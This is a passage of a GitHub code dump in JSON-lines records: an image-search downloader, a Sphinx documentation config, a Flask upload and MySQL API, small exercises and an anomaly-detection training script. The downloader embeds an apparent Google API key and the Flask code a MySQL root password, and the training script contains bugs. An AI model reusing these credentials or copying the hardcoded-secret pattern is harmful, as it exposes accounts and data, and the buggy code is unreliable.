入力画像ディレクトリのパス。最後はスラッシュで終わる必要あり。\nin_dir = inifile.get('extraction', 'in')\nAPI_KEY = \"AIzaSyDld2xaZq5TU-lQfa9kdHe56pQLBzYPwD8\"\nCUSTOM_SEARCH_ENGINE = \"013298172916019339195:rsn0kkkniyc\"\nNUM_IMAGE=100\n\ndef getImageUrl(search_item, total_num):\n\timg_list = []\n\ti = 0\n\twhile i < total_num:\n\t\tquery_img = \"https://www.googleapis.com/customsearch/v1?key=\" + API_KEY + \"&cx=\" + CUSTOM_SEARCH_ENGINE + \"&num=\" + str(10 if(total_num-i)>10 else (total_num-i)) + \"&start=\" + str(i+1) + \"&q=\" + quote(search_item) + \"&searchType=image\"\n\t\tres = urllib.request.urlopen(query_img)\n\t\tdata = json.loads(res.read().decode('utf-8'))\n\t\tfor j in range(len(data[\"items\"])):\n\t\t\timg_list.append(data[\"items\"][j][\"link\"])\n\t\ti=i+10\n\treturn img_list\n\ndef getImage(search_item, img_list):\n\topener = urllib.request.build_opener()\n\thttp = httplib2.Http(\".cache\")\n\tfor i in range(len(img_list)):\n\t\ttry:\n\t\t\tfn, ext = os.path.splitext(img_list[i])\n\t\t\tresponse, content = http.request(img_list[i])\n\t\t\twith open(in_dir+search_item+str(i)+\".jpg\", 'wb') as f:\n\t\t\t\tf.write(content)\n\t\texcept:\n\t\t\tprint(\"failed to download images.\")\n\t\tcontinue\nif __name__ == \"__main__\":\n\timg_list = getImageUrl(\"CharliePuth\", NUM_IMAGE)\n\tprint(img_list)\n\tgetImage(\"CharliePuth\", img_list)\n\n","repo_name":"vutatthanh1702/ecs-demo-php-simple-app","sub_path":"tensor/get_image.py","file_name":"get_image.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"43054745659","text":"from __future__ import annotations\n\nimport os\nimport re\nimport shutil\nimport subprocess\nimport sys\nfrom datetime import datetime\nfrom pathlib import Path\nfrom textwrap import dedent, indent\n\nimport requests # pyright: ignore[reportMissingModuleSource]\nfrom attrs import define, field\n\nif sys.version_info < (3, 8):\n from importlib_metadata import PackageNotFoundError\n from importlib_metadata import version as get_package_version\nelse:\n from importlib.metadata import PackageNotFoundError\n from importlib.metadata import version as get_package_version\n\nsys.path.insert(0, os.path.abspath(\"extensions\"))\n\n\ndef download_paper_figures() -> str:\n figures = {\n \"2\": \"_static/images/total-polarimetry-field-watermark.svg\",\n \"3a\": \"_static/images/polarimetry-field-L1520-unaligned-watermark.svg\",\n \"3b\": \"_static/images/polarimetry-field-L1520-aligned-watermark.svg\",\n \"4\": \"_static/images/polarimetry-field-norm-uncertainties-watermark.png\",\n }\n for path in figures.values():\n if not os.path.exists(path):\n MISSING_FILES.add(path)\n return \"\"\n list_of_figures = indent(\n \"\\n\".join(\n f\":Figure {name}: {_to_download_link(path)}\"\n for name, path in figures.items()\n ),\n 4 * \" \",\n )\n src = f\"\"\"\n ::::{{only}} html\n :::{{tip}}\n Figures for the paper can be downloaded here:\n {list_of_figures.strip()}\n\n All other exported figures can be found [here](./_static/images/).\n :::\n ::::\n \"\"\"\n return dedent(src).strip()\n\n\ndef download_intensity_distribution() -> str:\n filename = \"_static/images/intensity-distribution.png\"\n if not os.path.exists(filename):\n MISSING_FILES.add(filename)\n return \"\"\n src = f\"\"\"\n ```{{only}} html\n High-resolution image can be downloaded here: {_to_download_link(filename)}\n ```\n \"\"\"\n return dedent(src).strip()\n\n\ndef _to_download_link(path: str) -> str:\n basename = os.path.basename(path)\n return f\"[`{basename}`]({path})\"\n\n\ndef execute_pluto_notebooks() -> None:\n if \"EXECUTE_PLUTO\" not in os.environ:\n return\n if shutil.which(\"julia\") is None:\n msg = (\n \"Julia is not installed. Please download it at`\"\n \" https://julialang.org/downloads\"\n )\n raise ValueError(msg)\n result = subprocess.call(\n \"julia --project=. ./exportnotebooks.jl\", # noqa: S607\n cwd=\"../julia\",\n shell=True, # noqa: S602\n )\n if result != 0:\n msg = \"Failed to execute pluto notebooks\"\n raise ValueError(msg)\n\n\ndef get_execution_mode() -> str:\n if \"FORCE_EXECUTE_NB\" in os.environ:\n print(\"\\033[93;1mWill run ALL Jupyter notebooks!\\033[0m\")\n return \"force\"\n if \"EXECUTE_NB\" in os.environ:\n print(\"\\033[93;1mWill run Jupyter notebooks with cache\\033[0m\")\n return \"cache\"\n return \"off\"\n\n\ndef get_link_to_julia_pages() -> str:\n julia_landing_page = \"./_static/julia/index.html\"\n if os.path.exists(julia_landing_page):\n src = f\"\"\"\n :::{{tip}}\n Several cross-checks with Julia can be found [here]({julia_landing_page}).\n :::\n \"\"\"\n return dedent(src)\n return \"\"\n\n\ndef get_nb_remove_code_source():\n if \"latex\" in sys.argv[2]:\n print(\"\\033[91;1mCell input will not be rendered\\033[0m\")\n return True\n return False\n\n\ndef get_figure_link(\n rel_path: str, cwd: str | None = None, full_width: bool = False\n) -> str:\n abs_path = Path(rel_path)\n if cwd is not None:\n abs_path = Path(cwd) / rel_path\n if not abs_path.exists():\n MISSING_FILES.add(abs_path)\n return \"\"\n if full_width:\n src = f\"\"\"\n ```{{container}} full-width\n {get_figure_link(rel_path, cwd, full_width=False)}\n ```\n \"\"\"\n return dedent(src).strip()\n return f\"![]({rel_path}\"\n\n\ndef get_polarimeter_figures_side_by_side() -> str:\n paths = (\n \"_static/images/polarimetry-field-K-contours-title-watermark-inset.svg\",\n \"_static/images/polarimetry-field-L-contours-title-watermark-inset.svg\",\n \"_static/images/polarimetry-field-D-contours-title-watermark-inset.svg\",\n )\n if any(not os.path.exists(p) for p in paths):\n return \"\"\n src = \"```{container} full-width\\n\"\n for p in paths:\n src += f''\n src += \"```\\n\"\n return src\n\n\ndef get_polarimeter_chain_figures() -> str:\n paths = (\n \"_static/images/polarimetry-K-chains.svg\",\n \"_static/images/polarimetry-L-chains.svg\",\n \"_static/images/polarimetry-D-chains.svg\",\n )\n if any(not os.path.exists(p) for p in paths):\n return \"\"\n src = \"```{container} full-width\\n\"\n for p in paths:\n src += get_figure_link(p) + \"\\n\"\n src += \"```\\n\"\n return src\n\n\ndef get_timestamp() -> str:\n now = datetime.now()\n return now.strftime(\"%d/%m/%Y %H:%M:%S\")\n\n\ndef get_polarimetry_package_version() -> str:\n try:\n return get_package_version(\"polarimetry\")\n except PackageNotFoundError:\n return \"\"\n\n\ndef generate_api() -> None:\n shutil.rmtree(\"api\", ignore_errors=True)\n subprocess.call(\n \" \".join(\n [\n \"sphinx-apidoc\",\n \"../src/polarimetry/\",\n \"../src/polarimetry/version.py\",\n \"-o api/\",\n \"--force\",\n \"--no-toc\",\n \"--separate\",\n \"--templatedir _templates\",\n ]\n ),\n shell=True, # noqa: S602\n )\n\n\ndef get_link_to_single_pdf() -> str:\n build_file = \"_build/latex/polarimetry.pdf\"\n embedded_file = \"_static/polarimetry.pdf\"\n if os.path.exists(build_file):\n shutil.copy(build_file, embedded_file)\n if os.path.exists(embedded_file):\n src = f\"\"\"\n :::{{grid-item-card}} {{octicon}}`download` Download this website as a single PDF file\n :columns: 12\n :link: {embedded_file}\n :::\n \"\"\"\n return dedent(src)\n print(\"\\033[91;1mSingle PDF has not yet been built.\\033[0m\")\n return \"\"\n\n\ndef get_minor_version(package_name: str) -> str:\n installed_version = get_version(package_name)\n if installed_version == \"stable\":\n return installed_version\n matches = re.match(r\"^([0-9]+\\.[0-9]+).*$\", installed_version)\n if matches is None:\n msg = f\"Could not find documentation for {package_name} v{installed_version}\"\n raise ValueError(msg)\n return matches[1]\n\n\ndef get_scipy_url() -> str:\n url = f\"https://docs.scipy.org/doc/scipy-{get_version('scipy')}/\"\n r = requests.get(url) # noqa: S113\n if r.status_code != 200:\n return \"https://docs.scipy.org/doc/scipy\"\n return url\n\n\ndef get_version(package_name: str) -> str:\n python_version = f\"{sys.version_info.major}.{sys.version_info.minor}\"\n constraints_path = f\"../.constraints/py{python_version}.txt\"\n package_name = package_name.lower()\n with open(constraints_path) as stream:\n constraints = stream.read()\n version_remapping = {\n \"ipython\": {\n \"8.12.2\": \"8.12.1\",\n \"8.12.3\": \"8.12.1\",\n },\n \"ipywidgets\": {\n \"8.0.3\": \"8.0.5\",\n \"8.0.4\": \"8.0.5\",\n \"8.0.6\": \"8.0.5\",\n \"8.1.1\": \"8.1.2\",\n },\n }\n for line in constraints.split(\"\\n\"):\n line = line.split(\"#\")[0] # remove comments\n line = line.strip()\n line = line.lower()\n if not line.startswith(package_name):\n continue\n if not line:\n continue\n line_segments = tuple(line.split(\"==\"))\n if len(line_segments) != 2:\n continue\n _, installed_version, *_ = line_segments\n installed_version = installed_version.strip()\n remapped_versions = version_remapping.get(package_name)\n if remapped_versions is not None:\n existing_version = remapped_versions.get(installed_version)\n if existing_version is not None:\n return existing_version\n return installed_version\n return \"stable\"\n\n\n@define\nclass MissingFileCollector:\n paths: list[Path] = field(factory=list)\n\n def add(self, path: str | Path) -> None:\n path = Path(path)\n rel_path = path.resolve().relative_to(Path.cwd())\n self.paths.append(rel_path)\n\n def print(self) -> None:\n if len(self.paths) == 0:\n return\n print(\"\\033[93;1mFollowing files are missing and cannot be embedded:\\033[0m\")\n for path in sorted(self.paths):\n print(f\" \\033[93;1m {path} \\033[0m\")\n\n\nexecute_pluto_notebooks()\ngenerate_api()\nMISSING_FILES = MissingFileCollector()\n\nadd_module_names = False\nauthor = \"Mikhail Mikhasenko, Remco de Boer, Miriam Fritsch\"\nautodoc_default_options = {\n \"exclude-members\": \", \".join(\n [\n \"default_assumptions\",\n \"doit\",\n \"evaluate\",\n \"is_commutative\",\n \"is_extended_real\",\n ]\n ),\n \"members\": True,\n \"undoc-members\": True,\n \"show-inheritance\": True,\n}\nautodoc_member_order = \"bysource\"\nautodoc_type_aliases = {\n \"OuterStates\": \"polarimetry.decay.OuterStates\",\n}\nautodoc_typehints_format = \"short\"\nautosectionlabel_prefix_document = True\nautosectionlabel_maxdepth = 2\nbibtex_bibfiles = [\n \"_static/references.bib\",\n]\ncodeautolink_concat_default = True\ncopyright = \"2023\"\ndefault_role = \"py:obj\"\nexclude_patterns = [\n \"**.ipynb_checkpoints\",\n \".DS_Store\",\n \"Thumbs.db\",\n \"_build\",\n \"_static/export/README.md\",\n]\nextensions = [\n \"myst_nb\",\n \"relink_references\",\n \"sphinx.ext.autosectionlabel\",\n \"sphinx.ext.githubpages\",\n \"sphinx.ext.intersphinx\",\n \"sphinx.ext.napoleon\",\n \"sphinx.ext.viewcode\",\n \"sphinx_book_theme\",\n \"sphinx_codeautolink\",\n \"sphinx_copybutton\",\n \"sphinx_design\",\n \"sphinx_reredirects\",\n \"sphinx_togglebutton\",\n \"sphinxcontrib.bibtex\",\n \"sphinxcontrib.inkscapeconverter\",\n \"support_bibtex_math\",\n \"unsrt_et_al\",\n]\nhtml_css_files = [\n \"custom.css\",\n]\nhtml_js_files = [\n # https://github.com/requirejs/requirejs/tags\n \"https://cdnjs.cloudflare.com/ajax/libs/require.js/2.3.6/require.min.js\",\n]\nhtml_last_updated_fmt = \"%-d %B %Y\"\nhtml_logo = \"_static/lhcb-logo.svg\"\nhtml_sourcelink_suffix = \"\"\nhtml_static_path = [\"_static\"]\nhtml_theme = \"sphinx_book_theme\"\nhtml_theme_options = {\n \"launch_buttons\": {\n \"binderhub_url\": \"https://mybinder.org\",\n \"notebook_interface\": \"jupyterlab\",\n },\n \"path_to_docs\": \"docs\",\n \"repository_url\": \"https://github.com/ComPWA/polarimetry\",\n \"repository_branch\": \"0.0.9\",\n \"show_navbar_depth\": 1,\n \"show_toc_level\": 2,\n \"use_repository_button\": True,\n \"use_edit_page_button\": False,\n \"use_issues_button\": True,\n}\nhtml_title = \"Λc → p K π polarimetry\"\nintersphinx_mapping = {\n \"IPython\": (f\"https://ipython.readthedocs.io/en/{get_version('IPython')}\", None),\n \"ampform\": (f\"https://ampform.readthedocs.io/en/{get_version('ampform')}\", None),\n \"attrs\": (f\"https://www.attrs.org/en/{get_version('attrs')}\", None),\n \"iminuit\": (\"https://iminuit.readthedocs.io/en/stable\", None),\n \"ipywidgets\": (\n f\"https://ipywidgets.readthedocs.io/en/{get_version('ipywidgets')}\",\n None,\n ),\n \"jax\": (\"https://jax.readthedocs.io/en/latest\", None),\n \"matplotlib\": (f\"https://matplotlib.org/{get_version('matplotlib')}\", None),\n \"numpy\": (f\"https://numpy.org/doc/{get_minor_version('numpy')}\", None),\n \"plotly\": (\"https://plotly.com/python-api-reference\", None),\n \"python\": (\"https://docs.python.org/3\", None),\n \"scipy\": (get_scipy_url(), None),\n \"sympy\": (\"https://docs.sympy.org/latest\", None),\n \"tensorwaves\": (\n f\"https://tensorwaves.readthedocs.io/en/{get_version('tensorwaves')}\",\n None,\n ),\n}\nlatex_documents = [\n # https://www.sphinx-doc.org/en/master/usage/configuration.html#confval-latex_documents\n (\n \"index\",\n \"polarimetry.tex\",\n R\"\"\"\n $\\Lambda_c$ polarimetry using the dominant hadronic mode ― supplemental material\n \"\"\".strip(),\n author,\n \"manual\",\n False,\n ),\n]\nlatex_elements = {\n \"papersize\": \"a4paper\",\n \"preamble\": R\"\"\"\n\\usepackage{bookmark}\n\\usepackage[Latin,Greek]{ucharclasses}\n\\usepackage{unicode-math}\n\\hypersetup{\n pdfencoding=auto,\n psdextra\n}\n\n\\bookmarksetup{\n numbered,\n addtohook={%\n \\ifnum\\bookmarkget{level}>1 %\n \\bookmarksetup{numbered=false}%\n \\fi\n },\n}\n\"\"\",\n \"releasename\": f\"{get_polarimetry_package_version()} ({get_timestamp()})\",\n}\nlatex_engine = \"xelatex\" # https://tex.stackexchange.com/a/570691\nlatex_show_pagerefs = True\nlinkcheck_ignore = [\n \"https://arxiv.org/pdf/2208.03262.pdf\",\n \"https://arxiv.org/pdf/hep-ex/0510019.pdf\",\n \"https://journals.aps.org/prd/pdf/10.1103/PhysRevD.101.034033\",\n]\nmyst_enable_extensions = [\n \"colon_fence\",\n \"dollarmath\",\n \"fieldlist\",\n \"html_image\",\n \"substitution\",\n]\nmyst_render_markdown_format = \"myst\"\nmyst_substitutions = {\n \"DOWNLOAD_INTENSITY_DISTRIBUTION\": download_intensity_distribution(),\n \"DOWNLOAD_PAPER_FIGURES\": download_paper_figures(),\n \"DOWNLOAD_SINGLE_PDF\": get_link_to_single_pdf(),\n \"FIG_ALPHA_Z_STAT\": get_figure_link(\n \"_images/alpha-z-per-resonance-statistical.svg\"\n ),\n \"FIG_ALPHA_Z_SYST\": get_figure_link(\n \"_images/alpha-z-per-resonance-systematics.svg\"\n ),\n \"FIG_ALPHA_XZ_STAT\": get_figure_link(\"_images/alpha-xz-statistics.svg\"),\n \"FIG_ALPHA_XZ_SYST\": get_figure_link(\"_images/alpha-xz-systematics.svg\"),\n \"FIG_ALPHA_XZ_STAT_PLOTLY\": get_figure_link(\n \"_images/alpha-xz-statistics-plotly.svg\"\n ),\n \"FIG_ALPHA_XZ_SYST_PLOTLY\": get_figure_link(\n \"_images/alpha-xz-systematics-plotly.svg\"\n ),\n \"FIG_CORRELATION_STAT\": get_figure_link(\"_images/correlation-statistics.svg\"),\n \"FIG_CORRELATION_SYST\": get_figure_link(\"_images/correlation-systematics.svg\"),\n \"FIG_CORRELATION_MAT\": get_figure_link(\"_images/correlation-matrices.svg\"),\n \"FIG_INTENSITY\": get_figure_link(\"_images/intensity-distributions-1D.svg\"),\n \"FIG_INTENSITY_SIG1\": get_figure_link(\"_images/intensity-distributions-sigma1.svg\"),\n \"FIG_INTENSITY_SIG2\": get_figure_link(\"_images/intensity-distributions-sigma2.svg\"),\n \"FIG_INTENSITY_SIG3\": get_figure_link(\"_images/intensity-distributions-sigma3.svg\"),\n \"FIG_PHASE_SPACE\": get_figure_link(\n \"../_images/phase-space-boundary.svg\",\n cwd=\"appendix\",\n ),\n \"FIG_POLARIMETER_CHAIN\": get_polarimeter_chain_figures(),\n \"FIG_POLARIMETER_SUBSYSTEM\": get_figure_link(\n \"_static/images/polarimetry-per-subsystem.svg\"\n ),\n \"FIG_POLARIZATION_SYST\": get_figure_link(\n \"_static/images/polarization-distribution-systematics.svg\"\n ),\n \"FIG_POLARIMETER_TOTAL\": get_polarimeter_figures_side_by_side(),\n \"FIG_RATE_MATRIX\": get_figure_link(\"_images/rate-matrix.svg\"),\n \"FIG_RATE_MATRIX_SUB\": get_figure_link(\"_images/rate-matrix-sub-region.svg\"),\n \"FIG_SUB_REGIONS\": get_figure_link(\"_images/sub-regions.svg\"),\n \"LINK_TO_JULIA_PAGES\": get_link_to_julia_pages(),\n}\nrelink_ref_types = {\n \"jax.numpy.ndarray\": \"obj\",\n \"polarimetry.decay.OuterStates\": \"obj\",\n \"polarimetry.lhcb.ParameterType\": \"obj\",\n \"tensorwaves.interface.DataSample\": \"obj\",\n \"tensorwaves.interface.Function\": \"obj\",\n \"tensorwaves.interface.ParameterValue\": \"obj\",\n \"tensorwaves.interface.ParametrizedFunction\": \"obj\",\n}\nrelink_targets = {\n \"Axes\": \"matplotlib.axes.Axes\",\n \"DataSample\": \"tensorwaves.interface.DataSample\",\n \"Function\": \"tensorwaves.interface.Function\",\n \"LineCollection\": \"matplotlib.collections.LineCollection\",\n \"Literal[(-1, 1)]\": \"typing.Literal\",\n \"Literal[- 1, 1]\": \"typing.Literal\",\n \"Literal[-1, 1]\": \"typing.Literal\",\n \"OuterStates\": \"polarimetry.decay.OuterStates\",\n \"ParameterType\": \"polarimetry.lhcb.ParameterType\",\n \"ParameterValue\": \"tensorwaves.interface.ParameterValue\",\n \"ParametrizedFunction\": \"tensorwaves.interface.ParametrizedFunction\",\n \"Path\": \"pathlib.Path\",\n \"Pattern\": \"typing.Pattern\",\n \"PoolSum\": \"ampform.sympy.PoolSum\",\n \"PositionalArgumentFunction\": \"tensorwaves.function.PositionalArgumentFunction\",\n \"QuadContourSet\": \"matplotlib.contour.QuadContourSet\",\n \"SympyDataTransformer\": \"tensorwaves.data.transform.SympyDataTransformer\",\n \"UnevaluatedExpression\": \"ampform.sympy.UnevaluatedExpression\",\n \"implement_doit_method\": \"ampform.sympy.implement_doit_method\",\n \"polarimetry.lhcb._T\": \"typing.TypeVar\",\n \"sp.Expr\": \"sympy.core.expr.Expr\",\n \"sp.Indexed\": \"sympy.tensor.indexed.Indexed\",\n \"sp.Mul\": \"sympy.core.mul.Mul\",\n \"sp.Rational\": \"sympy.core.numbers.Rational\",\n \"sp.Symbol\": \"sympy.core.symbol.Symbol\",\n \"sp.acos\": \"sympy.functions.elementary.trigonometric.acos\",\n \"typing.Literal[-1, 1]\": \"typing.Literal\",\n}\nnb_execution_allow_errors = False\nnb_execution_mode = get_execution_mode()\nnb_execution_show_tb = True\nnb_execution_timeout = -1\nnb_output_stderr = \"show\"\nnb_render_markdown_format = \"myst\"\nnb_remove_code_source = get_nb_remove_code_source()\nnitpicky = False\nnitpick_ignore_regex = [\n (\"py:class\", \"KeyType\"),\n (\"py:class\", \"NewValueType\"),\n (\"py:class\", \"OldValueType\"),\n]\nnumfig = True\nprimary_domain = \"py\"\npygments_style = \"sphinx\"\nredirects = {\n \"appendix/polarization-fit\": \"../zz.polarization-fit.html\",\n}\nsuppress_warnings = [\n \"mystnb.mime_priority\", # plotly figures in LaTeX build\n # https://github.com/executablebooks/MyST-NB/blob/4dcf7c5/docs/conf.py#L46-L47\n \"mystnb.unknown_mime_type\",\n]\nuse_multitoc_numbering = True\nversion = get_polarimetry_package_version()\nviewcode_follow_imported_members = True\n\nMISSING_FILES.print()\n","repo_name":"ComPWA/polarimetry","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":17858,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"7"} +{"seq_id":"27740040497","text":"from flask import Flask, jsonify\nfrom werkzeug.utils import secure_filename\nfrom flask import request\nimport time, os, random\nimport mysql.connector\napp = Flask(__name__)\napp.config['JSON_AS_ASCII'] = False\ni, y, filename, filePath = 0, 0, ['', '', '', '', ''], ['', '', '', '', '']\ndef createdb(value):\n conn = mysql.connector.connect(user='root', password='Show78952@', database='files', use_unicode=True)\n cursor = conn.cursor()\n if len(value) == 15:\n print('123')\n cursor.execute('insert into file (id,title,content,url1,url2,url3,url4,url5,create_time,date,filename, filename1,filename2, filename3, filename4) values (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)', value)\n conn.commit()\n else:\n cursor.execute('insert into file1 (id,name,type,company,date,create_time,deletebit ) values (%s,%s,%s,%s,%s,%s,%s)',value)\n conn.commit()\n cursor.close()\ndef selectdb(val):\n conn = mysql.connector.connect(user='root', password='Show78952@', database='files', use_unicode=True)\n cursor = conn.cursor()\n if val == 0:\n cursor.execute('select * from file')\n abc = cursor.fetchall()\n cursor.close()\n return abc\n if val == 1:\n cursor.execute('select * from file1')\n abc = cursor.fetchall()\n cursor.close()\n return abc\ndef edit_db(value):\n conn = mysql.connector.connect(user='root', password='Show78952@', database='files', use_unicode=True)\n cursor = conn.cursor()\n print(value)\n if 'title' in value:\n cursor.execute(\"update file set deletebit=%(deletebit)s where title=%(title)s and date=%(date)s\", value)\n else:\n cursor.execute(\"update file1 set deletebit=%(deletebit)s where name=%(name)s and date=%(date)s\", value)\n conn.commit()\n cursor.close()\n@app.route('/getdata', methods=['GET'])\ndef getdata():\n a = request.args.get('data')\n if a == \"file\":\n val = 0\n abc = selectdb(val)\n return jsonify({\n \"data\": [d for d in abc],\n }), 200\n if a == \"file1\":\n val = 1\n abc = selectdb(val)\n return jsonify({\n \"data\": [d for d in abc],\n }), 200\n@app.route('/upload', methods=['POST'])\ndef upload():\n global filename, filePath\n file = request.files.getlist('file')\n y = 0\n print(file)\n filename,filePath=['', '', '', '', ''],['', '', '', '', '']\n name = str(random.randint(0, 99))\n for f in file:\n creattime = time.strftime('%Y%m%d%H%M', time.localtime(time.time()))\n filename2 = secure_filename(f.filename)\n if len(filename2) < 5:\n filename1 = creattime+name+'.'+filename2\n elif len(filename2) > 15:\n filename1 = filename2\n else:\n filename1 = creattime+name+filename2\n basepath = os.path.dirname(__file__)\n print(filename1)\n upload_path = os.path.join(basepath, '../tomcat/webapps/dist/static', filename1)\n f.save(upload_path)\n filename[y] = f.filename\n filePath[y] = upload_path\n print(filePath)\n y = y+1\n return jsonify({\"res\": True}), 200\n\n@app.route('/update', methods=['POST'])\ndef update():\n print(request.form)\n if request.form['data'] == 'file':\n value = {'date':0,'title':0,'deletebit':0 }\n value['date'] = request.form['date']\n value['title'] = request.form['title']\n value['deletebit'] = request.form['deletebit']\n print(value)\n edit_db(value)\n return jsonify({\n \"res\": True\n }), 200\n if request.form['data'] == 'file1':\n value = {'date':0,\n 'name': 0,\n 'deletebit':0\n }\n value['date'] = request.form['date']\n value['name'] = request.form['name']\n value['deletebit'] = request.form['deletebit']\n print(value)\n edit_db(value)\n return jsonify({\n \"res\": True\n }), 200\n\n@app.route('/signin', methods=['POST'])\ndef signin():\n if 'title'in request.form:\n value = ['','','','','','','','','','','','','','','']\n global i,y ,filename, filePath\n i = i+1\n creattime = time.strftime('%Y%m%d%H%M', time.localtime(time.time()))\n value[0] = i\n value[1] = request.form['title']\n value[2] = request.form['content']\n value[3] = filePath[0]\n value[4] = filePath[1]\n value[5] = filePath[2]\n value[6] = filePath[3]\n value[7] = filePath[4]\n value[8] = creattime\n value[9] = request.form['date']\n value[10] = filename[0]\n value[11] = filename[1]\n value[12] = filename[2]\n value[13] = filename[3]\n value[14] = filename[4]\n print(value)\n createdb(value)\n filePath= ['','','','','']\n filename= ['','','','','']\n return jsonify({\n \"res\": True\n }), 200\n if 'company' in request.form:\n value = ['', '', '', '', '', '','']\n y = y + 1\n creattime = time.strftime('%Y%m%d%H%M', time.localtime(time.time()))\n value[0] = y\n value[1] = request.form['name']\n value[2] = request.form['type']\n value[3] = request.form['company']\n value[4] = request.form['date']\n value[5] = creattime\n value[6] = ''\n print(value)\n createdb(value)\n return jsonify({\n \"res\": True\n }), 200\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8002)","repo_name":"Rick-960123/bjsinoeco-flask","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":5512,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"40037531519","text":"# Ler media, e indicar reprovado, recuperação e aprovado\n\nfrom cores import letra_amarelo, letra_vermelho, letra_verde, reset\n\na1 = float(input('1° Nota: '))\na2 = float(input('2° Nota: '))\n\nif (a1 + a2) / 2 <= 4.9:\n print(f'{letra_vermelho}Reprovado!{reset} com média de:{letra_vermelho} {(a1+a2)/2}')\nelif (a1 + a2) / 2 <= 6.9:\n print(f'{letra_amarelo}Recuperação!{reset} com média de:{letra_amarelo} {(a1+a2)/2}')\nelse:\n print(letra_verde, f'Aprovado!{reset} com a média de:{letra_verde} {(a1+a2)/2}')\n","repo_name":"Ry18-2003/Aprendizado_Python","sub_path":"Desafios_py/desafio_0038.py","file_name":"desafio_0038.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38693287254","text":"def most_frequent(given_list):\n \"\"\"given an array of numbers create a function that returns the number that\n is repeated the most\n\n Arguments:\n given_list {[type]} -- an array of numbers\n\n Returns:\n int: the number that is the most repeated\n \"\"\"\n max_item = None\n if len(given_list) == 0:\n return max_item\n\n max_count = -1\n repeated_items = {}\n\n for item in given_list:\n if item in repeated_items:\n repeated_items[item] += 1\n else:\n repeated_items[item] = 1\n\n if repeated_items[item] > max_count:\n max_count = repeated_items[item]\n max_item = item\n print(max_item)\n return max_item\n","repo_name":"alep007/python_problems","sub_path":"most_frequently_ocurring_item_in_array/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70576482143","text":"import os, time\nimport torch\nimport torch.nn as nn\n\nfrom models.memAE import *\nfrom models.memory_module import *\n\nfrom config import get_train_params\nfrom utils import *\n\n\nif __name__ == \"__main__\": \n\n parser = get_train_params()\n args = parser.parse_args()\n print(args)\n\n # loading datasets\n IMG_SIZE = (args.width, args.height)\n trans = get_transform(IMG_SIZE)\n train_loader = load_MVTecAD_dataset(\n args.dataset_path, is_train=True, batch_size=args.batch_size, transform=trans)\n \n # model settings -- \n nf1, nf2, nf3, nf4, nf5 = [args.nf1 * (2**k) for k in range(5)]\n print(f\"Filter size list: {[nf1, nf2, nf3, nf4, nf5]}\")\n\n if args.model == \"MemAE\":\n model = MemAE(\n args.chnum_in, args.mem_dim_in, shrink_thres=args.shrink_threshold, \n nf1=nf1, nf2=nf2, nf3=nf3, nf4=nf4, nf5=nf5)\n elif args.model == \"AE\":\n model = VanillaAE(chnum_in_, nf1=nf1, nf2=nf2, nf3=nf3, nf4=nf4, nf5=nf5)\n\n model.apply(weights_init)\n model.to(args.device)\n\n # training options\n recon_loss_func = nn.MSELoss().to(args.device)\n entropy_loss_func = EntropyLossEncap().to(args.device)\n optimizer = torch.optim.Adam(model.parameters(), lr=args.lr)\n\n model.train()\n tic = time.time()\n print(\"Training start --\")\n for epoch_idx in range(args.epoch):\n for batch_idx, (data, _) in enumerate(train_loader):\n data = data.to(args.device)\n\n recon_res = model(data)\n recon_data = recon_res[0]\n\n att_w = recon_res[1]\n loss = recon_loss_func(recon_data, data)\n recon_loss_val = loss.item()\n entropy_loss = entropy_loss_func(att_w)\n entropy_loss_val = entropy_loss.item()\n loss = loss + args.entropy_loss_weight * entropy_loss\n loss_val = loss.item()\n \n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n \n if epoch_idx % 5 == 0:\n print(f\"epoch: {epoch_idx} , total loss: {loss}\")\n\n toc = time.itme()\n print(f\"End Training ---\")\n print(f\"Training time elapsed: {abs(tic-toc)}\")\n\n if args.save_ckpt:\n torch.save(model.state_dict(), args.model_path)\n print(\"Model saved at: \", args.model_path)\n \n \n\n","repo_name":"eumhwa/anomaly_practice","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32867643032","text":"# =============================================\n# -*- coding: utf-8 -*- \n# @Time : 2020/5/18 上午10:31 \n# @Author : xiao9616 \n# @Email : 749935253@qq.com \n# @File : config.py\n# @Software: PyCharm\n# @Discript:\n# ============================================\ninput_shape = (604, 604, 3)\nanchors_num = 3\nclasses_num = 80\nanchor = [[116, 90], [156, 198], [373, 326], [30, 61], [62, 45], [59, 119], [10, 13], [16, 30], [33, 23]]\nanchor_index = [[0, 1, 2], [3, 4, 5], [6, 7, 8]]\nscale_size = [13, 26, 52]\nMAX_TRUE_BOX_NUM_PER_IMG = 20\nroot_path = \"/home/user/github/yolo4_tensorflow2/\"\n\nanchors_path = root_path + \"sources/dataSet/train_anchor/anchors.txt\"\nclassname_path = root_path + \"sources/dataSet/Annotations/classes.txt\"\n\ntrain_path = root_path + \"sources/dataSet/train_file/train.txt\"\neval_path = root_path + \"sources/dataSet/train_file/eval.txt\"\ntest_path = root_path + \"sources/dataSet/train_file/test.txt\"\ntrain_eval_path = root_path + \"sources/dataSet/train_file/traineval.txt\"\n\nlog_path = root_path + \"src/yolo4/logs/\"\nweights_path = root_path + \"src/yolo4/weights/\"\n\nuse_gpu = True\n\nfine_tune = False\nfine_tune_epoch = 100\n\nbatch_size = 8\ntrain_epochs = 500\nsave_frequency = 